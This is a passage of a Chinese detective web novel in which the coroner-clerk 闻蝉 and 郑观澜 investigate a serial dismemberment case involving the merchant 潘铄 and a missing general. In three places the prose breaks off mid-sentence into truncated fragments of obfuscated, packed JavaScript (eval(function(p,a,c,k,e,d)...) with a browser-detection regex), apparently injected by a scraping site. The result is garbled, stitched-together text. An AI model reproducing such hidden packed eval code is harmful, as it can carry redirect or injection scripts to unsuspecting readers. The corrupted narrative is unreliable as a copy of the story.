“你是地痞流氓吗!” 闻蝉一本正经:“我有屋有官职,还不靠爹娘。” “汪儿汪儿汪!”大黄耳兴奋叫了两声,像是疯了一样在院子里狂奔转圈。 “来外人了?”闻蝉反应极快,直接从窗户翻出去,一把将狗提溜起来扔进正房,又飞出两块肉干,“乖啊,先吃着。” 大黄耳得了肉干,不再乱动,乖乖趴在地上。 闻蝉这才关上门,郑观澜则去开了院门。 片刻后,一个衙役走了进来。 “属下曲乐,见过郑评事,见过闻录事。” 曲乐是京兆府的衙役,颜青手下的人。 “你们颜参军叫你来的吗?”闻蝉问道。 曲乐点头:“颜驸马说让您帮忙查个案子,他忙不过来。” 闻蝉老大不情愿。 “我也忙呢,小案子让下头人办去啊。你们也是,什么事儿都压在她一个人头上。” 曲乐讨好一笑:“驸马说这案子不小还麻烦,只能您来。而且,他还让属下给您带句话。” “什么话?” “匕首。” 闻蝉之前有托对方帮忙留意匕首的事情。 “行,说说吧,什么案子?” “人和尸体都给您带来了,就在大堂。” 大堂里,一个穿着鲜绿色锦袍的胡人青年坐在其下,一把卷曲的络腮胡打理得十分整齐,身上挂满了珠宝,腰间一把黄金匕首晃荡荡的,十分耀眼。 闻蝉看了那匕首好几眼才收回视线。 胡人的身后站着几个仆人,脚边跪着一个黑衣服小瘦子。 那小瘦子的身后放着一个布袋。 闻蝉走到主位坐下,郑观澜坐在一边,拿起纸笔准备记录。 曲乐说道:“这位郎君今早来京兆府报官,说是发现了尸体。” 闻蝉对着那胡人问道:“你姓甚名谁?是在何处何时发现的尸体。” 那胡人神色颇为倨傲,昂着头,依旧坐着:“我是……” “站起来回话。”闻蝉最不喜欢惯着这些人,“本官在问你话,按照我朝的规矩,你应该站起来回话。” 那胡人面色一变:“我可是兰氏的人!” 兰氏一族,是匈奴的贵族,世代与与匈奴单于通婚,是匈奴四大贵族之一。 闻蝉指着郑观澜:“他还是郑氏的人呢。啥蓝氏红氏,没听过!” 兰赞确实不算什么有头有脸的人物,但是也没别人这样说过,立时就傻眼了。 他一脸认真:“你没读过书吗?连兰氏都不知道?” “兰氏算什么东西,需要本官记脑子里?你现在在大周,就要守大周的规矩,再藐视公堂,本官就要给你吃板子了。” 兰赞挠了挠头,还是站了起来。 “在匈奴,都是别人跪我。” “那你回去啊。”闻蝉不想和他多说,“赶快回话!” 她一拍惊堂木,拉下脸。 兰赞这才生出几分怕来。 “我叫兰赞,在长安做生意。昨晚,这个小贼到我的酒坊偷钱,然后发现了尸体。” 这人的汉话水平可能也就这样了。 闻蝉问那黑衣人:“你来说。” 那贼战战兢兢磕了个头。 “闻录事饶命啊。” 闻蝉这才看清他的脸。 竟是个熟人! “哟,又是你!王里儿!你上个月才被金吾卫放出来吧?” 王里儿砰砰磕头。 “小的知错了,小的这辈子再也不偷了!” 他眼泪汪汪,一脸悔恨。 闻蝉翻了个白眼:“别搁那儿放你那陈年老屁,这话你至少说过百次。说吧,你怎么发现的尸体?” 王里儿咽下一口口水。 “昨晚,小的匆忙躲避的时候跳入了一个枯井。听着那些人走了,小的就打算坐下歇一会儿,结果屁股一沾地就摸到了个滑溜溜的东西。转眼一看竟是个脑袋!人的脑袋!” 他耷拉着肩膀。 “真的不偷了,再也不偷了。” “人脑袋?脑袋呢?” 闻蝉不由看向那半掩在对方身后的布袋。 曲乐把那布袋拿过来。 “就这个。” 闻蝉一把接过,把袋子里的人头提溜了出来。 是个男人的头,惨白色,头上还好好扎着发髻,双眼紧闭着,被洗得干干净净,两侧的耳朵被割掉。 这猝不及防的一下,人头被曝光在所有人视线内,除了闻蝉和郑观澜,其余人都转过头干呕。 曲乐呕了好几下才忍住。 “您别突然拿出来啊!” 郑观澜也被吓了一跳。 闻蝉摸了摸人头的侧面,空荡荡的。 “两边耳朵都被割掉了?这脸……瞅着也眼熟。” 郑观澜大着胆子走过去看。 熟悉的五官让他紧皱起眉。 “潘铄。” 闻蝉把人头装回去。 “潘铄是谁?” “京城的一个富商,家底极厚,他和京城权贵来往都很密切,我见过他许多次,也打过一两次交道。” 他这一说,闻蝉就想起来了。 “是见过一次,难怪眼熟。叫潘家人先来认尸吧。” *** 潘家人来得很快。 “小郎君啊!” 老人跪在人头前又哭又嚎。 “好好的,你怎么就……怎么就……老天爷呐,我们潘家连个后都没留下啊!夫人一个人可怎么办啊……” 见老人哭得面色发紫,闻蝉伸手将人头盖上。 “老人家,您先起来。”她扶起老人,温言问道,“您是潘家的管事吧?” 老人点点头:“是,我一辈子都在潘家……” 闻蝉掏出手帕给他擦眼泪。 “节哀。如今出了事,您得保重自身才能守住潘家,可千万不能倒下去啊。” 这话劝到了老人心坎上,他一下像是回了魂一样,脊背都打直了几分。 “对!家里只有夫人,那些人定然是要欺人的,我得撑着,得撑着。” 闻蝉见他冷静了些许,才问道:“你们郎君是几日前失踪的?” 老人说道:“就五日前。郎君和往常一样,说要出门谈生意,结果一去不回。” “你们可去找过?” “郎君是生意人,偶不归家也是常见之事,我们最开始也没上心。直到前日,家中铺子的掌柜找上门来,说郎君没有去按时查账,我们才觉得不对。” “他出门谈生意没有带其他人吗?” “诶?”管事恍然,“是啊,往日郎君出门都会带上人,那次……他说带着人累赘,就没有带。” “最近,你们郎君可有什么异常,或是和人起过冲突?” 管事想了想,坚定地摇了摇头。 “没有,郎君一如往昔,只是生意上忙了些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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铁钉圆片上刻着两条竖着的线,两条线首尾两端以及中间都有一个点。 “这啥?” 郑观澜也没有看懂。 闻蝉给他指派任务。 “这图案应该有什么意义,你记着留心找找。死者就是铁钉入脑而死,之后又被分尸。对了还有死亡时间,我刚刚闻到了一股香料气味,再结合人头这干净的样子来看,凶手应当是对尸块还做了防腐的处理。” “他为何要处理尸块?” “只有两个作用。防止腐败和干扰判断死亡时间。”闻蝉把罩衣脱下,“也不奇怪,远抛近埋。凶手为了切断自身和命案的关联,在抛尸的时候往往会选择距离自己居住地或者杀人地点很远的地方,而在抛尸的过程中为了防止被人发现异常,对尸体进行处理也是正常。而且,他还可能把尸体放了许久,尸臭味多大啊,很容易被发现的。” “你身上没有。” 闻蝉指了指门口:“我们每次都要熏蒸特质的药醋,每日还得用香料沐浴洗衣裳才没有的。” “看来这个凶手也懂行?” 闻蝉拊掌:“不错嘛,你脑子现在会转弯儿了!” 郑观澜悠悠走到门口,拿起水瓢往火坑里泼醋。 “夸人的话说得像是骂人一般。” 火坑腾起白色的烟雾,闻蝉急忙在上面跨了几个来回,嘴里依旧不闲着。 “是你小气。” “接下来我们要做什么?寻找剩余的尸块?” “梁小郎知道去。我们现在只能等消息,看潘铄到底是什么时候失踪的。” “也就是说今晚又不回去了?” “睡值房不也一样吗?你还没习惯?” “还好,偶尔一晚,能将就。”郑观澜娇气但能忍。 尤其是在闻蝉面前,真说自己不习惯,还不又得被她笑话? 闻蝉问道:“那个潘铄是个什么来头?他一个商人也能和你有交道?” “潘家世代船商,到他父亲那一辈的时候就搭上了宫里的关系,多年来一直参与贡品的运献。他路子广,什么少见的珠宝香料都有货,是以和许多世家大族都有来往。我在他那里买过不少茶叶。” “生意大,牵扯也大。”闻蝉叹气,“这案子怕是不好查。” 30. 无妄之灾 第二日天正午,刚用完饭。 郑观澜在院内慢悠悠地溜着大黄耳,十分安宁。 忽然大黄耳兴奋叫了两声,朝着门冲过去。 门随即推开,卓啸走了进来,一把接住扑向他的大黄耳,捏了一把它的耳朵。 “好狗。” 闻蝉听见动静也跑了出来。 “怎么?有消息了?” 卓啸把乱动的狗夹在腋下。 “找遍了全城,人最后就是在平康坊没的踪影,时间就是四月二十晚上。一个小贩说看他进了春罗楼就没见过了。” 四月二十……不就是潘铄出门那日吗? 卓啸又摸了几把狗耳朵。 “我继续去找剩余的尸体了,平康坊那边你自己去啊?” “好,你先去忙。” 卓啸把狗放下,挑了挑眉:“真不要我陪?” 闻蝉皱着鼻子退后一步。 “你陪我干啥啊?我不能走道?要你抬啊?” 卓啸笑了笑,冲着郑观澜抬了抬下巴,像是挑衅一般,大摇大摆走了。 “收拾收拾。”闻蝉对着还傻愣着的郑观澜说道,“我们去平康坊一趟。” *** 春罗楼。 闻蝉带着郑观澜直接推门走了进去,熟门熟路。 正靠在柜台上打盹儿的老板一个激灵,头上金子打的步摇哗啦啦地响。 “闻……闻娘子?”她扶了扶像座小山的发髻,挤出一个笑,迎上前,“您这是有何贵干呐?” “找你问个事儿。” 老板面色微变,引着二人到了角落的桌子坐下,让人上了茶,才低声问道:“可是谁死了?” 闻蝉笑了:“你这也太警觉了吧?” 老板瘪瘪嘴:“难不成您来还是为了看歌舞的吗?” 闻蝉被问住了。 “潘铄,你可见过?” “见过啊,他死啦?”老板一脸好奇。 闻蝉无言:“你做生意的也不知道忌讳,动不动死不死的。什么时候见过?他来做什么?” “就几日前啊,大概是……二十那日,他和几个人谈生意,晚上在我们这儿用的饭看的歌舞。” “他何时离开的?是一个人吗?” “酉时正就走了。和他们一起的一个人说要早些回家,所以他们很早就散场了。他是最后一个走的。当时我还说呢,都快宵禁了,让他在我们这儿歇一晚,他说有事得走。”老板面露惋惜,“也是个难得一见的好男儿呢。” 闻蝉直言:“往平康坊跑还算好男儿?” “哎哟!”老板舞了舞手帕,香风直往脸上扑,“那您可误会了,潘郎君可不是那样的人。他来我们这儿从来只看歌舞或是和人谈生意,就连留宿都是一个人睡的,睡的素觉。这京城上上下下谁不知道,潘郎君痴情,三十好几的人了,没有孩子也不纳妾,就守着一个夫人过日子。” “那确实少见。” “是啊,这男人,甭管有钱没钱,有几个没花花肠子的?”老板眉飞色舞,指着自己满登登的场子,胳膊转了一个圈儿,“不然我这生意怎么会这样火红。” 闻蝉失笑:“你这岂不是端起碗吃饭,放下碗骂娘?” 老板捂着嘴笑:“这些男人管这叫风流,才不会觉得我这是骂人的话。”她眼风朝着郑观澜一飞,“不信您问问您新带的这位郎君。” 郑观澜眉头一下皱了起来:“慎言。” 老板愣了一下,又笑了起来。 “哟,是个正经人呢,难怪没见过。” 闻蝉知道郑观澜小气,解围道:“新来的面皮薄,你就别故意作弄人了。对了,那日和潘郎君一块儿吃饭的是哪些人?你还记得吗?” “记得,醴泉坊卖酒的廖老板兄弟俩和宣阳坊开绣坊的那个齐老板,还有一个……”老板忽然拖长了声音,“你也认识。” “谁?” “翟老板啊,他也在呢。” “翟听风?” *** 出了春罗楼,二人打算往回走。 还未出坊,郑观澜冷不丁说道:“翟听风是谁?” 正在沉思的闻蝉脱口而出。 “我一朋友。” 郑观澜张了张嘴,喉咙像是被什么堵住了似的。 闻蝉继续解释:“就是露凝香的老板,你应当听说过,他也算有些名声的。” 露凝香是京城里头号的脂粉铺子,郑观澜再如何也听自己母亲和表妹提起过一二。 况且……之前在龙门山庄,对方也提起过。 她甚至能随便查露凝香的账册。 “你也会和商人做朋友?” “商人怎么了,我又不是那么偏激的人,见不得别人有钱。”闻蝉白了他一眼。 郑观澜只是看着她,眼神的意味十分明显。 难道不是? “别人翟听风可不像你们这些人……” 郑观澜阴阳怪气:“是,是不同。” 闻蝉正要回嘴,身后却忽然传来一道清润悦耳的女声。 “郑郎君?” 转过头,只见一位穿着淡紫色衣裳的小娘子正冲着他们笑。 那小娘子个头不高,长相十分清丽,气质柔和从容,笑起来眉眼弯弯,很是亲和,背着一个沉沉的药箱,手上还拿着一个串铃。 竟是个铃医? 闻蝉还是头一次见女铃医。 大夫这一行,女子少有,大多坐堂或是被大户人家聘在家中专门给自家女眷瞧病,这走街串巷的女铃医实在是少见。 “林大夫。”郑观澜微微颔首,算是见过。 二人像是关系还不错? 林兰主动说道:“在下林兰,这位就是闻录事了吧?” 郑观澜还是一如既往少言冷淡。 “是。” 林兰却半点都不在意。 “县主的身子可好些了。” “好了不少。” “那就好。”林兰问道,“二位来平康坊是为了查案吗?” 闻蝉惊讶于对方的敏锐,顺着问了下去:“林大夫怎么知晓?” “郑郎君向来是不来此处的,闻录事又在,二位定然是为公事而来。不知是什么事,在下可能帮上忙?” 对方日日走街串巷,说不定还真有什么线索。 闻蝉问道:“林大夫可认识那船商潘铄。” “认识的,我还给他夫人瞧过病,怎么?他真出事了?”林兰垂眸叹气,“昨日听人说他被人杀了,没想到竟是真的……” “林大夫最近可见过他?” “许久未见。” 闻蝉有些失望:“有劳了。” 郑观澜说道:“我们还是回去查查和他有来往的人吧,那些人都有可能有动机。” 不等闻蝉应声,林兰忽然道:“说到动机,我倒是知晓一件秘事。” 二人齐齐看了过来。 林兰弯唇一笑,转过身,指向不远处的一个小摊子。 摊子的老板是个中年妇人,看着十分沧桑,面前的小推车里放着几个小桶和一大桶冰,小桶里装的是蜂蜜和各色蜜饯还有酸梅汁子等。 明显是卖酥山的。 “那位老板姓唐,叫唐琼花,和潘老板是亲戚。” “亲戚?”闻蝉有些意外,“潘铄家财万贯,亲戚却沦落至此?” “正是因为是亲戚才沦落至此。”林兰脸上的笑容淡了不少,“这位唐夫人,出身不错,嫁得也不错,不说是什么大富大贵,也算是衣食无忧。但就是因为有了潘良这个亲戚,才遭遇横祸,家破人亡。” “林大夫这话……潘烁会害自家亲戚?” “也不是自家亲戚,唐夫人是潘铄夫人龚氏娘家的亲戚,她的夫君就是龚夫人的表哥。” “关系挺远。” “若是近点,或许也不会有这样的事了。”林兰像是不忍再看那妇人一般,别过头,“所有人都以为潘铄是个好夫君,实则不然,此人性情反复心胸狭隘,实非良人。龚夫人幼时和这个远房表哥议过亲,潘铄因此误以为二人有私,就对他们家家下了手。谁家经得起潘铄的嗟磨?没多久就赵家就倒了,龚夫人的表哥自尽而死,只留下一双不满十岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“拿着,也就几两碎银,当是给孩子的笔墨钱。” 唐琼花推辞不得,也只好收下。 “先夫这辈子都是个热心人,没成想到了此时,还能有些好报。”唐琼华按了按眼角,憋住眼泪。 “三十年河东三十年河西,这以后的日子还长着呢,会好起来的。对了,我多嘴问一句,这家里到底是怎么了?赵家家底子不薄啊,您怎么……” 唐琼花也含糊道:“生意场嘛,被人算计了。您应该也知道,先夫是做丝绸生意的,一批货被人动了手脚,全坏了,不仅没赚,还要倒赔一千两。先夫一口气没过来人就没了。家里的铺子宅子也抵了债。” 她释怀一笑。 “也没什么,像您说的,三十年河东三十年河西。我们如今有住的地儿,也饿不着冻不着,也算是不错了。” *** 一回大理寺,闻蝉就让小梁去查这赵家的过往。 小梁摆手。 “这不需要去查,我就知道这事儿!那赵家和宣阳坊里开绣坊的齐老板做了一桩大生意,交货的时候才发现那绸子全是坏的。齐老板那批货可是要供给王府的,当即急坏了,虽说后来又找到了新货,可前前后后的损失定然是要赵老板赔的。齐老板开口就要了五千两,把赵老板直接给吓死了。得亏赵家还有点家底,买了家产才把这个窟窿填了。” 齐老板,宣阳坊…… 不是和潘铄一块儿吃饭那个吗? “你先下去吧,顺道多派点人手去查查其余的尸块。” 小梁哭丧着脸:“是……” 郑观澜说道:“看来林兰所言非虚。潘铄因着龚夫人和赵老板的过往,心生醋意,勾结齐老板给赵老板做了局。” “我要是唐琼花,确实得恨死他。” “找着了!找着了!”小梁又折返跑了进来,“卓哥他们回来了,说是找到了手脚!” 31. 连环作案 一对完整的手臂和腿放在验尸房内。 依旧是被洗涮得干干净净,隐隐约约带着一股香料味。 “创口还是死后伤,和之前发现的都一样,死后被大刀剁下来的。” 闻蝉仔细查验手掌,手掌很白,骨节精致,皮肤细腻,摸起来有微微的粗糙感。 “在哪儿找的?” 卓啸拍了一下脑袋。 “甭提了,是一个卖牛的贩子来报的官。他今儿去安善坊卖牛,那牛在角落里拽出来一个布袋子,他打开一看竟是人的手脚,吓得差点厥了过去。” “安善坊?那么远?” 安善坊在京城南部,是京城内买卖牲口粮食的最大聚集地南市所在地,而醴泉坊在西市上边,两个坊距离都快半个京城了。 卓啸摊手:“是个有脑子的!” 闻蝉重重点头,站直身才发现一旁的郑观澜一脸茫然。 她解释道:“头远身近。凶手碎尸的目的一般是为了掩盖死者的身份,所以会把最能辨别身份的头颅扔得很远,至于手脚这种不好辨别的就会就近处理。” 郑观澜微微颔首:“也就是说凶手就在安善坊附近?” “如果这手脚是潘铄的,就是如此。” “不是……潘铄?” 闻蝉长叹一口气。 “这手看上去白嫩,是保养着的,可上面的老茧很多,可见死者从小做粗活儿。潘铄家中世代经商,富了好几代,怎么会从小做粗活儿呢?还有,这手长得很好看,从老茧的位置来看,还是个文人。对了,腐烂程度也不一样,这几块尸块虽然也经过处理,但是其腐烂程度明显比潘铄的人头轻。” 郑观澜愣了愣。 “死者不止一个?且凶手是同一人?” 卓啸拍了一下他的肩膀,吊儿郎当的。 “你运气不错,才来就遇到这种大案子。” 闻蝉白了卓啸一眼。 “你现在更应该头疼怎么找到剩余的尸块。你们今日一直在醴泉坊,连一块碎尸都没找出来?” 卓啸退了几步,连连解释。 “我可没偷懒!今日忙得可是水都没喝一口。为免百姓恐慌,又不能到处去问,只能一点点找过去!” 闻蝉沉住气,思量了一二。 “你让人去找颜参军,请她把最近京城失踪的名单送一份过来,再去金吾卫……不!不能找金吾卫。” “为何?”郑观澜问道,“金吾卫负责日夜巡逻,他们对京城最是熟悉。” “也最有可能抛尸,之前有个类似的案子凶手就是金吾卫的人。”闻蝉沉思片刻,“这事情还是得先按住,我去给少卿他们说一声。” *** 徐数和蔡真听完闻蝉的话,对视一眼。 “死者不止两个。”蔡真办案多年,直觉十分准确。 这也是三人共同的猜测。 “目前发现的两个死者定然是被同一人所杀,可以判定为连环作案。”徐数对着闻蝉说道,“你做的没错,确实不能让金吾卫知晓。最近大理寺还算清闲,我等会儿多调些人去搜寻尸块。京兆府那边……” “这案子本就是颜参军让人送来的,她自会多留意。” “你和他倒是处得来。”徐数想到没把人抢到手就想磨牙,“可惜了可惜了!怎么就把郑家六郎分给我们了呢!” “郑六郎也不算太差。”闻蝉说道,“他文书写得不错,学得快,平日里审讯也能帮上不少忙。嗯……把大黄耳也喂的很好。” 徐数眼神有点惊恐。 “你……你是闻蝉吗?” 俩人平日在院子里不是天天吵架吗? 闻蝉“哼”了一声。 “我是个公私分明的人,这都是十分公道的评价,他和那些纨绔子弟又不完全一样。” 蔡真按了按徐数。 “阿蝉,带我先去看看那尸体怎么回事。” 二人出了议事厅,缓缓踱步在游廊之下,沉默可靠的背影就在先自己一步的地方,遮风挡雨,触手可及,如同过去的多年一样。 “你和郑六郎当真相处得不错?” 闻蝉翻了个白眼:“很烦他。” 蔡真暗叹一口气,劝道:“日后还要长久相处,你得放下你的成见。郑六郎并非什么恶徒。” “牢里关着的也不都是恶徒,我就是讨厌他。” 蔡真本是讷言之人,也不知该如何劝。 “好了,少卿,我不会和他起冲突的,你放心!”闻蝉保证道,“我又不傻,难道我还惹得起郑家吗?” “你连王家李家都敢算计,也不差一个郑家了。”蔡真停下脚步,定定看着她,“别以为我不知道是你动的手脚。” 闻蝉气短,还是小声顶嘴回去。 “寺卿都没有反对……” “那是我给你收的尾。”蔡真有些恼怒,敲了一下她的脑袋,“不然早就被他人知晓了。” 闻蝉也很委屈。 “那我能怎么办啊……你明明知道就是李家害死了我爹娘,却一直拦着我报仇……”她越说越来气,声音也大了起来,“你不是一直说自己要为民做主吗!” 蔡真侧过头,不敢看她,整张脸都淹没在阴影之中。 “我……”闻蝉也自知失言。 对方也是只是寒门出身,没有什么倚仗,这么多年带着她读书教她验尸破案,已经是仁至义尽了。 “少卿,我……” “阿蝉。”蔡真看着她,眼神很是复杂,“李家,目前是扳不倒的。我不希望你为了报仇把你自己搭进去。你的爹娘,更希望你好好活着。” 他抚了抚她的脑袋,本就轻飘飘的疼痛瞬间散去。 “答应我,不要再去冒险,好好活着比什么都重要。再等等,一定会将他们绳之以法。” 闻蝉垂下头,看不清她的表情。 “我知道了,以后不会再去冒险。这一次能让李成芳吃些苦头,我也满足了。” 蔡真这才放下心,板肃的脸上也不由露出一分笑。 “你明白就好。这次的事情也算你运气好,如今有了官职,你好好和郑六郎相处,日后说不定陛下还会给你升官。哪怕是虚职,说出去也是好听的。” 闻蝉眼睛一亮:“还能升啊?!” 她清楚得很,皇帝破格赏赐官职不过是为了安抚,毕竟他回护的是自己亲戚。 “虚职应当没问题。”蔡真见她这副样子,实在是有些好笑,“你还是个官迷啊?” “难道少卿不想升官?” “一个萝卜一个坑,你这话别当着寺卿的面说。” *** “好丑的狗!” “汪儿汪儿汪!” 门内传来一个小孩的声音和大黄耳的骂声。 有人敢骂她的狗? 闻蝉一脚踢开门。 只见院内一个七八岁的男童正和大黄耳对峙着。 那男童穿的很富贵,一身大红云纹锦缎衣裳,脖子上挂着沉甸甸的白玉项圈,一看就是官宦人家的子弟。 但是……这和闻蝉有什么关系? “哪儿来的丑娃娃,长得好难看啊。” 大黄耳也跟着吼了几句,跑到闻蝉跟前,呜咽了两声。 明显是在告状。 “你竟敢骂我?” “被打了?”闻蝉完全没搭理那蹦哒的孩子,朝着大黄耳招手。 大黄耳用爪子捂了捂耳朵。 “扯你耳朵了?” 大黄耳又呜咽了两声。 打狗还要看主人呢!!! 闻蝉火气一下上来了,直接揪住那孩子的耳朵一拧。 “你谁家的!敢到大理寺来打狗?” “放开我!”男孩儿滋哇儿尖叫,声音像是被宰的猪一样,让人烦躁,“不然我让我娘杀了你!” “杀人违律,你娘敢杀我,就会被砍脑袋!” “哇啊啊啊!”男孩疼得直掉眼泪,整个人像条濒死的鱼似的挣扎,对着闻蝉又踢又打。 闻蝉最会收拾小孩儿,伸直了手臂,把孩子提溜着。 “来来来,继续。” “怎么回事?” 背后忽然传来郑观澜的声音。 回头一看,他正提着食盒,站在门口,一脸迷茫。 闻蝉手下一松,那孩子挣脱开,扑向郑观澜。 “哥!”他指着闻蝉,“这个坏女人敢打我,你快把她抓起来。” 郑观澜很清楚自己弟弟的德行,他拉下脸。 “你怎么来了?是不是闹事了?” 闻蝉也会告状:“他扯大黄耳的耳朵。” “那是因为这狗咬我!” “谎话连篇!”郑观澜这下是真火了。 大黄耳是爱叫又爱闹,但是从来不会对任何人下口。 那孩子被吼得眼泪都憋回去了。 闻蝉继续拱火。 “还说要让你娘杀人呢~你们郑家家教可真好,连朝廷命官都可以随随便便打杀。” 郑观澜气得手都在发抖。 这个弟弟真的是被爹娘惯出毛病了。 “成生!把人送回去,让人看着,打三十个手板,罚抄诫子书一百遍。” 一直站在门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老妇人面露错愕:“小郎君说的那个人是闻娘子?” 闻蝉站起身来,端端正正行了个礼。 “今日,贵府的小郎君到大理寺来打鸡骂狗,闹得不得安宁,我才出手阻止。” 袁阿婆面色稍缓。 “小郎君实在是……被宠坏了。竟然说闻娘子殴打他?这怎么可能!” 闻蝉面不改色:“我只是出手拦住了他,怎么?县主是要如同小郎君所言一般将大理寺的人都砍了吗?” 袁阿婆一下皱起眉:“小郎君还说了这样的话?” “是啊,不然郑评事怎么会动这样大的气说要罚他?幸亏今日只有寺卿听见此话,若是蔡少卿知晓……” 谁不知道蔡真活得像个御史!不弹劾人几句不舒服! 袁阿婆行了个礼。 “今日是小郎君任性,才给大理寺添了麻烦,老婆子这就回去如实禀告。” 袁阿婆来去匆匆,看得郑观澜都呆了。 她方才说的都是假话吧? 闻蝉伸手在他眼前晃了晃。 “想什么呢?不吃饭了?” “你……你方才说的……” “告黑状啊!怎么了?心疼你那弟弟?”闻蝉一眼就看得出来,对方家里现在的那点子猫腻。 不疼大儿子疼小儿子呗。 “你心疼他还不如心疼心疼你自己!我要不告这个黑状,你回去肯定得挨训。”看在桌上这顿饭的份上,闻蝉大发善心,“对你弟弟这样惯坏了的孩子,没必要那么正直。” 郑观澜捏紧了筷子。 “是,你说的没错。” 闻蝉忽然一笑:“这样看,你确实不是你们家最招人烦的啊。” 郑观澜心里那点感激瞬间消失。 “你认识袁阿婆?” “之前办了个案子,救下十几个小孩,我们忙不过来,恰好她在老家探亲,住在附近,就帮着我们照应孩子。” 不然,闻蝉才不会那么客气呢。 “她是你母亲身边的人啊?” “她是我母亲的乳母。” “还算半个明白人。” “咳咳!” 门口传来一阵咳嗽声。 小梁站在门口,冲着二人咧着嘴笑。 闻蝉放下筷子。 “还让不让人吃饭了?又出啥事儿?” 小梁脸皱成一团。 “吴老头儿来找您……说是……反正您二位最好别吃了,吃了等会儿也要吐。” 32. 无舌人头 “嗨呀!今儿刚吃了晌午,我说去收拾那后头的灰堆,收拾到一半就摸到了这个袋子!” 一个体型高大的老人在验尸房中说得手舞足蹈,唾沫横飞。 “我是干什么的啊?隔着袋子我就闻到一股子尸臭味,打开一看,你们瞅!” 闻蝉把袋子里的尸块取出。 是一副肠子。 被洗得很干净,像是摆在肉摊上售卖的一般。 “你知道,我们那条街都是开棺材铺子扎纸人的,我叫了其他人来看,都说是人的肠子,绝对不是猪肠牛肠!” 老吴头住在丰邑坊,那里是京城丧葬铺子聚集的地方。 闻蝉看了看:“是人肠子。” 刚吐完的郑观澜用尽力气扶着墙站在一旁,面色苍白。 “还是那个凶手吗?” “香料味都一样。”闻蝉把肠子放入布袋,“你也不必逞强,去外面坐坐吧。” 她理解,大部分人其实是接受不了的。 郑观澜还是坚持。 “习惯就好。” 老吴头哈哈一笑:“哪儿来那么多尸体让你习惯啊?” 闻蝉拍了他一下。 “您就别搁这儿说风凉话了,除了肠子还有其他的尸块没?” “没了!我当时也猜到应该是有人分尸,马上把那灰堆都翻了一遍,没有其他的了。”老吴头说道,“这案子不简单,不是谁都有那个胆子能把尸体处理得这么干净利落,这手法比我还厉害呢!” 他叮嘱道:“你得小心啊。” “我知道,劳烦您老人家跑一趟了。” “这有啥,我就是干这个的!”老吴头摆摆手,向外走去,“快到宵禁的时辰了,离得远,我得先回了!” 闻蝉又送了几步:“您慢走。” “知道知道!” 老吴头看着岁数大,步子却跨得有力,不过片刻就没了人影。 “这位……老丈是什么人?”郑观澜问道。 “听过赶尸吗?” “听过,是黔中道那边的一个传闻。”郑观澜微微一愣,“他是赶尸匠?” “嗯,原来是干这个的,后来到了京城就改开棺材铺子了。” “你和他怎么会认识?” “算是老街坊了。老吴原先在汉中也住过不少年,我爹是仵作嘛,和他倒也算半个朋友。怎么?你不信有赶尸这回事?” 郑观澜直言道:“不信。” “不管真假,能让人落叶归根总是好事。至于到底用的什么手段,并不重要。”闻蝉看了一眼装着肠子的布袋,“那肠子有个特点。” “肠子你也能瞧出什么门道?” “是那肠子太特殊。我刚刚翻着看了几遍,那肠子上面有一道缝合的口子。” “这不算多见。”一个名字瞬间浮现在郑观澜的脑海中,“司马岳,是他。” “明威将军,司马岳?” 郑观澜点头。 …… “这人原先是肃王殿下府上的典军,几年前上战场立了功,但也因此伤了身子,之后朝廷就给了他一个虚职养着。若我没有记错,当时他在战场上就是被人伤了腹部,说是连肠子都被划开了,还是殿下找了个极厉害的大夫给他缝合,才救回一条命。” 值房内,郑观澜指着失踪名单上的名字,将司马岳的过去一一道来。 “肃王殿下……不就是你表哥吗?你去问问呗。” “等会儿就让人去传信,明日应当就能有结果。可这毕竟不是实打实的证据,如今找不到其他尸块才是首要问题。” 闻蝉朝着窗外努努嘴。 大黄耳正在院内兜着圈子疯跑,两个大耳朵扑闪扑闪的。 “你是说……” “明日带着大黄耳去找吧,它那鼻子比什么都厉害。” *** 第二日一早,还未出门,二人一狗就被肃王和颜青堵在了值房门口。 “你们这里挺不错的啊,还有狗呢,这狗长得真好看。”颜青是个活泼性子,一进门就摸了好几把大黄耳,还好奇地左看右看,“你们俩是对门啊?” 闻蝉耸耸肩:“没别的值房了。” 颜青眨眨眼,笑得很坏:“是很合适的位置。” 对头可不得住对门嘛! 闻蝉可听懂了她的言外之意。 “颜驸马,您老人家一大早过来就为了指点我们值房风水位置吗?” “才不是,我和肃王殿下一块儿的!他昨晚都和我说了,你们这次是摊上大案子了。” 颜青拉着肃王的胳膊,姿态十分亲密,向来性子古怪的肃王神态也很自然,没有半分不对。 闻蝉心中微动…… 别人不清楚,可她清楚,这个颜青就是个小娘子,做驸马已经够诡异了,怎么还会和这个向来不和人打交道的肃王……如此亲密? “尸体很有可能是司马岳。”一旁的肃王这时才说道,“他确实因为受伤,肠子被缝合过。” “肯定是啦!那肠子都被伤着还能活下来的人可不多,我记得那失踪名单里除了他也没别人了。”颜青说道,“你们可找到了其他尸块?” 闻蝉指了指大黄耳。 “这不正准备出去找呢嘛。” “那我们就不打扰了!”颜青很痛快地拍着胸口说道,“缺人手可以找我,我们京兆府最近挺空闲的。” “你记着帮我留心就是了,你那个什么月老灵签的案子还没收尾吧?” 颜青脸一下垮下来:“啊,我好心来帮忙,你竟然揭我伤疤?” 她扯起肃王,大步向外走去。 “伤心了,走了走了!” 闻蝉走到郑观澜身旁,状似无意道:“他们关系倒是挺不错的嘛。” 郑观澜想到之前还住在贡院的时候,亲眼看见自己表兄潜入颜青房间的事情,恍然大悟。 肯定是表兄介绍颜青和公主认识的。 